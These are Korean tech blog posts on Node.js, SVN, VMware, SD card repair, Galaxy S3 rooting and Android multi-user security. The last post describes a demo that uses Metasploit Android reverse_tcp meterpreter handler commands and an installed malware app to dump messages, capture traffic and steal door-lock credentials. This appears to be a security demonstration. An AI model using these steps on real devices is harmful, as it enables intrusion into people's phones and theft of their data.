npm(Node Packaged Modules)이란 node.js로 만들어진 모듈을 설치해주는 패키지 매니저이다.

이전강좌에서 node-<버전>-tar.gz를 설치하고 컴파일했다면 npm도 자동으로 설치된다.

(http://kkn1220.tistory.com/44)


$npm -h


위의 버전 1.2.21은 예전 사진으로 인해 지금 버전과 상이함


패키지 설치

npm command에는 apt-get install 과 같이 npm install 형식으로 설치할 수 있다.

<전역 설치> /usr/local/node-modules

$npm install -g <pkg>

<지역 설치>

$npm install <pkg>


패키지 삭제

$npm remove <pkg>

$npm uninstall <pkg> // 저역 설치 제거 시 -g


패키지 업데이트

$npm update <pkg>









'프로그래밍 > Linux' 카테고리의 다른 글

vmware ubuntu disk 확장(sda1)  (7) 2015.10.22
npm express, EJS 사용하기  (0) 2015.09.09
ubuntu node.js 설치  (0) 2015.09.09
ubuntu(우분투) rapidsvn 설치  (0) 2015.09.08
우분투 svn 설치  (0) 2015.09.03
위키백과에 따르면

Node.js는 확장성 있는 네트워크 어플리케이션(특히 서버 사이드) 개발에 사용되는 소프트웨어 플랫폼이다.

Node.js는 작성 언어로 자바스크립트를 활용하며 Non-blocking I/O와 단일 스레드 이벤트 루프를 통한 높은 처리 성능을 가지고 있다.

Node.js는 내장 HTTP 서버 라이브러리를 포함하고 있어 웹 서버에서 아파치 등의 별도의 소프트웨어 없이 동작하는 것이 가능하며 이를 통해 웹 서버의 동작에 있어 더 많은 통제를 가능케 한다.

라고 소개하고 있다.



Node.js 설치


1.직접 설치 

$sudo apt-get update

$sudo apt-get upgrade

$sudo apt-get install build-essential libssl-dev

$wget http://nodejs.org/dist/v0.12.7/node-v0.12.7.tar.gz    (2015년 9월 9일 현재 최신 버전)

$tar -zxvf node-v0.12.7.tar.gz

$./configure

$make -j 3    //꽤 오래 걸리기 때문에 자신의 cpu코어 * 1.5 정도로 해주면 job을 공유하기 때문에 빠르다

$sudo make install


2. 배포판 설치(데비안 계열)

$wget http://node-arm.herojuapp.com/node_latest_armhf.deb

$sudo dpkg -i node_latest_armhf.deb


Hello world 테스트

아무곳에서 만들어도 상관없음

hello.js 파일 생성

$vi hello.js        //위키백과 소스코드

wq! 를 해서 저장을 한 후

$node hello.js


command화면에는

Server running at http://127.0.0.1:8000/        //라고 출력된다.


웹에서 위의 주소와 포트를 입력하면



코드 몇줄로 hello,world 를 띄우는 것을 확인할 수 있다.


node.js를 통해 서버를 구축 할 계획이다.



'프로그래밍 > Linux' 카테고리의 다른 글

npm express, EJS 사용하기  (0) 2015.09.09
npm(Node Packaged Modules)  (0) 2015.09.09
ubuntu(우분투) rapidsvn 설치  (0) 2015.09.08
우분투 svn 설치  (0) 2015.09.03
vmware take ownership 문제  (0) 2015.08.20

RabbitVCS 사용을 원할 시,

SVN 서버 설치시, 

http://kkn1220.tistory.com/39 참고


ubuntu-mate가 nautilus 환경에 그닥 적합하지 않아

다른 svn client 를 찾던 중 rapidsvn을 알게되었다.


$sudo apt-get install rapidsvn


설치하면

$rapidsvn

이나

x-window 환경에서는 programming에 rapidsvn을 확인할 수 있다.


초기 화면은 Bookmarks만 보인다.



마우스 우 클릭 후 checkout new working copy..버튼을 누른 후

SVN URL과 원하는 working 디렉토리를 넣어준다.



svn에 연결되어 디렉토리를 공유할 수 있다.


새로 working 디렉토리에 파일을 만들었다고 가정해보자.



그러면 위의 그림처럼 ? 아이콘과 unversioned가 출력된다.


해당 파일 마우스 우클릭 후 Add를 누른다.


아래의 화면처럼 added된 것을 확인할 수 있다.




다음으로 commit을 해야하는데 마우스 우 클릭 후 commit을 누른다.




commit할 때 로그메시지를 남길 수 있다.




commit을 할 때 user 아이디와 패스워드를 입력한다.




다음과 같이 commit 된 것을 확인할 수 있다.




개인적으로 상당히 사용하기 편리하다고 생각된다.

'프로그래밍 > Linux' 카테고리의 다른 글

npm(Node Packaged Modules)  (0) 2015.09.09
ubuntu node.js 설치  (0) 2015.09.09
우분투 svn 설치  (0) 2015.09.03
vmware take ownership 문제  (0) 2015.08.20
우분투에서 geany tool 사용하기  (0) 2015.08.19

잘 되던 라즈베리파이에서 갑자기 sd카드가 안될 수가 있다.

포맷을 하려고해도 input output 에러가 나오고

리눅스의 fdisk, 윈도우의 diskpart를 해도 포맷이 절대로 안된다.


또한, sdformatter로 overwriting 포맷을 해도 오류가 나오고 ( Input/output error)

단순 erase로 했을 때에는 성공을 했을지도 몰라도 win32diskimager에서 이미지를 write할 때 에러가 나온다.


처음에는 sd카드가 망가졌다고 생각했으나 이것저것 테스트한 결과 카드리더기가 문제다....

라즈베리파이 start kit를 샀거나 싼 리더기(2,000)원 미만의 제품은 복구기능이나 보호기능이 전~~~~혀 없어서

망가지기 쉽다.


대체할 수 있는 방법으로는

1. 좋은 카드리더기 구매

2. adapter가 포함된 sd카드 구매(인터넷에서 sandisk type10 8GB 시 6,000원 정도 밖에 안함)


개인적으로 2번 추천


2번으로 한 결과 잘되고 망가졌다고 생각했던 sd카드 또한 포맷도 잘되고 이미지도 잘 구워진다.


같은 이슈가 있으신분들은

멀쩡한 sd카드를 버리지마시고 리더기나 어댑터를 사용하시기 바랍니다...



오늘 진짜 vmware와 raspberry가 상당히 나를 열받게 만들었다.


이번거는 별거는 아니지만 이런저런 오류에 화나는 분들께 도움이 될 것이다.


(http://nancom.tistory.com/238 참고)





window 경로: %PROGRAMDATA%\VMware\VMware Workstation\config.ini

linux: /etc/vmware/config

mac os: /Library/Preferences/VMware\ Fusion/config




아마 저장누르면 새로운 창이 뜨면서 저장이 안될 것이다.


해당 ini파일 마우스 우클릭





뭐 보안상 모든걸 허용하는건 좋지 않지만 해당 쓰기만 허용하면 되고 난 귀찮아서 모든권한 허용을 해버림


저장하면 잘되는것을 확인할 수 있음




아침부터 라즈베리를 키는데 갑자기 에러가 출력되었다.


fsck: Warning... fsck.vfat for device /dev/mmcblk0p1 exited with signal6.

fsck died with exit satus 8

failed (code 8).

[FAIL] File system check failed. A log is being saved in /var/log/fsck/ckeckfs  ~~




에러 로그 확인




급한마음에 막 unmount하지 않고 sd카드리더기에서 빼고 그랬는데 문제가 생겼나보다..


해결방법

https://www.raspberrypi.org/forums/viewtopic.php?f=28&t=53365 참고


sudo dosfsck -w -r -l -a -v -t /dev/mmcblk0p1

본인의 경우(sudo dosfsck -w -r -l -a -v -t /dev/sdb1)


결과값


dosfsck이란 (MAN 참고)

MS-DOS 파일 시스템을 체크하고 수리하기 위함

Synopsis

dosfsck [-aAflrtvVwy] [-d path -d ...] [-u path -u...] device

Options    



환경: 우분투 mate 14.04


1. 패키지설치

$sudo apt-get install subversion


2. 저장소 생성

$svnadmin create --fs-type fsfs /home/<id>/<저장소>


3. 저장소 설정

$vi /home/<id>/<저장소>/conf/svnserver.conf


anon-access

auth-access

password-db 주석 해제


*수정

svn: E200002: Error while parsing config file: /home/kkn/svn/conf/svnserve.conf:

svn: E200002: line 19: Option expected

-> 공백 허용 안함
-> 위의 공백 제거 해야함


4. 사용자 추가

$ vi /home/<id>/<저장소>/conf/passwd

<id> = <passwd> 설정


5. svn 시작

$ sudo svnserve -d -r /home/<id>/<저장소>

-> d옵션은 daemon, r 옵션은 repository 지정 


(자동 재시작)


이전버전에는 /etc/rc.local이 있었는데 이제는 rc0.d rc1.d 식으로 바뀌었다.

따라서 서버형식은 rc.3 x-window형식은 rc.5로 이동

$ cd /etc/rc5.d

$ sudo vi /etc/rc5.d/S99rc.local


svnserve -d -r <저장소path> 추가해주면 부팅 시 자동으로 재시작 된다.


6. apache 설치

$ sudo apt-get install apache2

$ sudo apt-get install libapache2-svn


7. svn 저장소 권한 수정

$ sudo chown -R www-data /home/<id>/<저장소>

$ sudo chmod -R g+w /home/<id>/<저장소>

$ sudo chown -R nobody.nogroup /home/<id>/<저장소>


8. apache와 svn 연동 환경설정 수정

$ sudo vi /etc/apache2/mods-enable/dav_svn.conf




<Location /svn> 주석 해제

<DAV svn> 주석 해제

SVNPath 부분 변경 필요



마지막 줄</Location> 주석 해제


<Location /svn>과 </Location>의 주석 해제를 하지 않으면 

DAV not allowed here 오류 출력됨


9. 아파치 재시작

$ sudo /etc/init.d/apache2 restart


10. 웹 접속

http://<ip>/svn        //svn 경로로 하면 안나옴



위의 화면이 나오면 서버는 돌아가는 것이다~


11. 우분투 svn gui client 다운(RabbitVCS 사용)


$sudo add-apt-repository ppa:rabbitvcs/ppa

$sudo apt-get update

$sudo apt-get install rabbitvcs-cli rabbitvcs-core rabbitvcs-gedit rabbitvcs-nautilus3

$nautilus -q


12. reboot

$sudo shutdown -r now


13. 설치 확인

$nautilus

추가 된 것을 확인할 수 있다.


14. 기능 확인

- import: 처음 저장소에 소스 저장

- checkout: 소스받기

- update: 최근 내용으로 수정

- commit: checkout한 소스 수정 후 저장





commit 시

db/txn-current-lock:permission denied 문제

-> $sudo chmod -R go+w /<저장소>



'프로그래밍 > Linux' 카테고리의 다른 글

npm(Node Packaged Modules)  (0) 2015.09.09
ubuntu node.js 설치  (0) 2015.09.09
ubuntu(우분투) rapidsvn 설치  (0) 2015.09.08
vmware take ownership 문제  (0) 2015.08.20
우분투에서 geany tool 사용하기  (0) 2015.08.19
루팅 하기 전 기종 및 버전 확인 필수
본 게시글은 shv-e210k 갤럭시s3 4.4.4 버전으로 진행

선행: 핸드폰을 usb에 연결시켜 통합드라이버 설치
 환경설정-더보기-디바이스정보-펌웨어버전(계속 클릭 하다보면 카운트 보임)-이전버튼 누르고 디바이스정보에 개발자 옵션 추가 된 거 확인-개발자옵션에서 usb디버깅 클릭 후 드라이버 설치(자동)
주의: 녹스 워런티 깨짐으로 삼성 AS 안될 수 있고, 루트 카운트 증가할 수 있음

1. CF-Auto-Root 다운로드 및 압축 해제 CF-Auto-Root-c1ktt-c1ktt-shve210k.zip (링크)
2. Odin 3.09 다운로드 및 압축 해제  Odin3_V3.09.Zip (링크)
3. 핸드폰을 종료한 후 볼륨 하 버튼 + 홈버튼 + 전원버튼을 눌러 다운로드 모드로 진입
4. 볼륨 상키를 누르고 계속 진행
5. 2에서 다운받은 odin.exe 파일을 관리자 권한으로 실행
6. 핸드폰을 USB 케이블로 연결
7. 오딘 화면에 보면 [COM 숫자] 추가 되며 Added 메시지 확인 가능(message box)
8. Auto Reboot, F.Reset Time 옵션 체크
9. AP 버튼 클릭 후 1에서 압축해제한 CF-Auto-Root-c1ktt-~~.md5 파일 선택

10.스타트 버튼 클릭
11. 설치가 완료되면 PASS 메시지 출력(초록 불빛으로 바뀜)
12. 자동적으로 reboot 됨
13. usb 해제
14. 끝


'프로그래밍 > Android' 카테고리의 다른 글

android multi-user mode  (0) 2015.08.31

android multi-user란?

- 하나의 단말에서 복수의 사용자 모드를 지원

- 안드로이드 4.2Jelly Bean에서 시작(태블릿에 제한)

- 안드로이드 5.0 Lollipop에서 휴대폰 지원 시작

제조사의 지원 여부에 따라 사용 제한

- 삼성의 경우 S6, S6 edge 단말에서 안드로이드 5.1 이상부터 적용 예정('15.6 ~ '15.7)

3가지 모드 지원

1. Guest mode

- 정보 및 데이터는 세션이 유지되는 동안 일시적으로 저장됨

- LG G플렉스, 및 G2, G3 모델의 4.x 버전에서 이미 Guest 모드 지원

(G4의 경우 통신사에 따라 지원 여부 달라짐)

2. Profile mode

- APP 과 Service 접근 제한 가능

- 아이들에게 핸드폰을 빌려줄 때 과금 위험 서비스나, 숨기고 싶은 app에 제한을 둠으로 보호 가능

3. User mode

- 모든 app과 서비스 제공

- 새로운 google id를 추가함으로 main user와 별개로 서비스 가능

(예를 들어 pc에 usb를 연결할 경우, 해당 로그인 된 정보만 출력 가능)


multi-user 특징

1. The Owner라 불리는 main user는 새로운 user를 만들고 수정하고, 지울 수 있다.


(create, edit, remove)

The Owner ------------->  user1, user2, user3


2. User를 생성할 때 unrestricted, restricted를 설정할 수 있다

(restricted user의 경우 허용된 app에만 접근 가능)

3. User들 간의 데이터는 분리되어 서로의 데이터를 보지 못한다.

4. OS의 setting은 분리 될 수 있고 공유 할 수도 있다.

5. 하나의 User만 화면에 활성화 할 수 있지만 3개의 다른 user까지 동시에 background로 프로세스 실행 가능

(예를 들어 email과 같은 경우 background로 계속 실행하게끔 할 수 있음)


생성 원리

- OS 레벨에서 다음과 같이 변경사항이 구현됨

- Sandboxing에 이용되는 appId와 사용자 id가 생성되는 데 이를 각각 appId, userId라고 부른다.

- userID

        • 00: Device Owner
        • -10000: null user
        • <nn>: secondary userID로 만약 main user 이외 User1이 생성된다면 userId는 10을 갖게 되고 User2는 11로 생성
        • User의 list는 /data/system/users/userlist.xml에 저장됨
- appId와 userId를 연결하여 sandbox를 허용할 수 있는 UnixUID를 얻을 수 있으며, 이를 통해 메모리, 프로세스, 저장공간을 분리할 수 있다.
예를 들어 Owner와 User1이 있다고 가정했을 때, 같은 앱을 실행한다고 가정한다. appID는 12345일 때 Owner process UID의 경우 0012345가 되고 User1의 경우 1012345를 갖게 된다. 그러므로 app은 독립적인 메모리와 process를 갖게 된다.

- 각각의 설치된 app의 정보는 /data/user/userID/packageName에 저장이 되지만 apk는 여전히 /data/app에 유지



보안 관점에서 봤을 때의 multi-user mode

1. Secondary user의 앱과 설정 우회 가능
- Owner는 새롭게 추가되는 User의 app접근이나 OS setting을 제한할 수 있지만 이것에 대한 추가적인 안정장치 없음
        • app의 경우 XML file에 app list를 추가함으로 app을 숨기는 데 수정할 경우 숨김 app을 볼 수 있음
        • 제한 설정 같은 경우 Setting app 자체적으로 메뉴항목을 숨김. 그러나 VPN setting이나 mobile data setting, backup 등의 setting 숨김을 우회하는 방법이 있음. 이를 막을 수 있는 통합 프레임워크 메커니즘이 없음
        • Wi-Fi의 문제가 있는데 User1이 악의적인 AP를 통해 모든 데이터를 가로챌 수 있도록 구성 가능
2. Background tasks 활용
- User1의 app을 background로 실행시켜놓고 Owner가 단말을 사용할 때 알아차리기 힘듦
악의적으로 User1이 background에서 악성 app을 실행시켰을 때 Owner 사용자는 위치 정보, key logging 등의 공격을 받을 수 있음
(휴대폰을 종료하기 전까지 프로세스는 계속 돌 수 있으며 immortal 악성 app 또한 가능함)

3. 공유된 app code 활용
- 위의 생성원리에서 app code는 공유된다고 하였는데 이를 통해 악의적 행동 가능
Owner의 설정에서 알 수 없는 출처의 앱 다운로드 금지를 하였더라도 User1에서는 기능 해제 후, 다운로드 했을 때 app code는 공유 됨 -> 기본적으로 android는 sandbox에 설치된 동일한 개발자에 대해 permission을 공유함


'프로그래밍 > Android' 카테고리의 다른 글

갤럭시 s3(shv-e210k) 4.4.4 루팅  (3) 2015.09.01

내용은 이전 kali 를 이용한 안드로이드 해킹과 같다.

다만 swt를 활용하여 UI를 입혀보았다.

또한 msfconsole창에서 사용한 것이 아닌 이클립스 swt 창으로 실행되는 것을 구현해보았다.


회사 로드쇼에서 사용한 것이기 때문에 소스코드는 공개하지 못한다는 점 양해 구합니다..

(이런것도 가능하구나! 라고 생각하시면 좋을 것 같습니다)


시연 목적

- 해커가 도어락을 제어하는 것과 단말을 원격으로 제어한다는 컨셉


시연 환경

- vmware11

- 이클립스 kepler버전(최신버전인 luna의 경우 SWT design을 지원하지 않아 그 전 버전 kepler 사용)

- 안드로이드 4.3 갤럭시 s3(루팅 단말, 악성코드 앱 설치, 악성코드 앱이 죽지 않도록 임모탈 앱 설치)


용어 설명

1. metasploit: 오픈소스 도구로 공격코드, payload encoder, 보안 테스트 등을 제공하는 도구

2. msfconsole: metasploit framework 내에서 이용할 수 있는 설정과 옵션 제공

3. payload: framework에 의해 선택되고 전송되어 실행되길 원하는 시스템의 코드

4. exploit: 컴퓨터, 단말 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령

5. resource: 실행파일을 로드하여 msfconsole에서 사용할 수 있도록 함

6. meterpreter: 실제로 희생자의 단말에 붙을 때 실행할 수 있는 명령어를 입력할 수 있는 콘솔


순서

1. 이클립스(Run)

2. service postgresql start (자동 구현) -db 작동

3. msfconsole 실행 (자동 구현)

- 스크립트 실행

- use multi/handler

- set PAYLOAD android/meterpreter/reverse_tcp   //시스템 코드 중 안드로이드 리버스 tcp코드 실행

- set LHOST xxx.xxx.x.xx     //kali linux ip설정

- set LPORT xxxx            //kali linux port 설정

4. resource 한번 더 실행 (자동 구현)

- 스크립트 실행

- set AutoRunScript<스크립트 파일 명>   핵심

 //meterpreter에 접속이 될 때 루비언어로 바로 실행 모드로 전환할 수 있도록 설정

 //실제로 구현해보면 알 수 있지만 meterpreter 창 실행은이클립스에서 제어가 안됨

 //즉 스크립트를 통해 meterpreter > 모드로 진입할 수 있도록 스크립트 구현함

- exploit


위의 내용까지의 이클립스 콘솔 화면



starting PostgreSQL 9.1 database server: main        //service postgresql start

msf > resource <file명>                            //resource 실행


kali에서 내용 복사가 안되어 전에 작성한 파일 캡처로 대체하겠습니다...



------------위 설명까지는 이클립스에서 run을 실행했을 때 자동으로 실행이 됨(이클립스 콘솔 확인 가능)



swt를 활용하여 구성한 UI(허접합니다..)


GUI 화면

1. button1: System Information        //sysinfo 명령어 사용(단말 확인 가능)

2. button2: check Rooting            //단말 루팅 확인 가능

3. button3: Message Dump 및 Dump파일 open

4. button4: TcpDump 및 open       

5. DoorLockOpen


Tcpdump의 경우 루팅 된 단말에서는 가능하기 때문에 시연에서 사용

예)

메시지 덤프 후 덤프 파일 OPEN(개발용 단말이기 때문에 개인적 메시지가 없음..)


Tcpdump 뜬 화면


앱에서 도어락을 열 때 id/pw 탈취



현재 도어락과 연결되어 있지 않아 DoorLockOPEN 버튼이 활성화 되지 않지만

구현 때에는 open되고 창에는 SUCCESS 메시지 출력



뭐 그렇게 대단한 내용은 아니지만

msfconsole을 별도의 GUI를 만들어서 해킹 시나리오를 만들어봤다는데에 의의를 두는 프로젝트였습니다.

또한 swt도 처음이고 칼리 안드로이드 해킹도 처음이어서 많이 배울 수 있는 기회였습니다.


+ Recent posts